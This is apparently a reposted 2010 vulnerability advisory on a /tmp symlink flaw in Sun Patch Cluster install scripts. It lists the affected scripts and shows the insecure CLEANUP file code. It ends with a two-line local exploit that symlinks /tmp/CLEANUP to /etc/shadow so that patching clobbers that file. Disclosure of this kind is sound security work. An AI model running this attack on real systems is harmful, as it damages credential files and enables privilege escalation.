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Solaris Update manager and Sun Patch Cluster symlink vulnerability
================================================================== Solaris Update manager and Sun Patch Cluster symlink vulnerability ================================================================== Symlink attack with Solaris Update manager and Sun Patch Cluster Larry W. Cashdollar Vapid Labs http://vapid.dhs.org 1/24/2010 With the GUI Sun Update Manager being used to install patches on a system local users can easily run scripts and create symlinks in an attempt to clobber files and potentially escalate privileges as this application is typically run in multi-user mode. Many patches use insecure file creation in /tmp to store data during installation. The easiest one to exploit is /tmp/CLEANUP which is used in a handful of package installation scripts: script code is typically: CLEANUP_FILE=/tmp/CLEANUP echo "EXISTING_FILE_PRESERVED: ${dest} ${dest}.${TAG}" \ >> ${CLEANUP_FILE} Similar code is found in: ./118833-36/SUNWcsr/install/i.renamenew ./118833-36/SUNWcsr/install/u.initd ./118833-36/SUNWcsr/install/i.initd ./118833-36/SUNWcsr/install/preinstall ./118833-36/SUNWintgige/install/i.renamenew ./118833-36/SUNWvolr/install/u.initd ./118833-36/SUNWvolr/install/i.initd ./118833-36/SUNWsndmu/install/postinstall ./118833-36/SUNWsacom/install/i.initd ./118833-36/SUNWsacom/install/u.initd ./118833-36/SUNWsndmr/install/postinstall ./118833-36/SUNWsndmr/install/i.renameold ./120272-26/SUNWsmmgr/install/u.initd ./120272-26/SUNWsmmgr/install/i.initd ./137093-01/SUNWcsr/install/i.renameold ./137137-09/SUNWnxge.u/install/i.renameold ./137137-09/SUNWcsr/install/i.renamenew ./137137-09/SUNWcsr/install/i.renameold ./137137-09/SUNWckr/install/i.renameold ./137137-09/SUNWnxge.v/install/i.renameold ./141444-09/SUNWixgbe/install/i.renamenew ./141444-09/SUNWnxge.u/install/i.renamenew ./141444-09/SUNWnxge.v/install/i.renamenew ./127127-11/SUNWtsg/install/preinstall ./127127-11/SUNWtsg/install/i.renamenew ./127127-11/SUNWtsu/install/i.renamenew ./127127-11/SUNWypr/install/i.renameold ./127127-11/SUNWcsr/install/i.group ./127127-11/SUNWcsr/install/i.pamconf ./127127-11/SUNWcsr/install/i.passwd ./127127-11/SUNWcsr/install/i.renamenew ./125555-06/SUNWcsu/reloc/usr/lib/patch/patch_override_dir/137137_SUNWnxge_i.renameold ./122660-10/SUNWcsr/install/preinstall ./119313-29/SUNWwbcor/install/i.initd ./119313-29/README.119313-29 ./120011-14/SUNWckr/install/i.renameold ./120011-14/SUNWcsr/install/i.renamenew ./120011-14/SUNWcsr/install/i.renameold ./120011-14/SUNWcsr/install/preinstall ./120011-14/SUNWsndmu/install/postinstall ./120011-14/SUNWsndmr/install/i.renameold ./121453-02/undo_pkgs.pkg ./121453-02/payload.pkg ./121453-02/SUNWppror/install/i.initd ./122911-19/README.122911-19 ./122911-19/SUNWapchr/install/i.initd ./122911-19/SUNWapchr/install/i.renamenew ./122911-19/SUNWapchr/install/u.initd ./122911-19/SUNWtcatr/install/i.renamenew ./139555-08/SUNWcsr/install/i.renamenew ./120543-15/SUNWapch2r/install/i.renamenew ./125215-03/SUNWwgetr/install/i.renamenew If a user creates a symlink to a root owned file, /etc/shadow for example it will be clobbered by the patch installation process if that patch application applies to the system. $ cd /tmp $ ln -s /etc/shadow CLEANUP I was able to append the contents of CLEANUP to /etc/shadow. There are other attackable files that are created as well. I have only investigated the easiest one however. # 0day.today [2024-11-15] #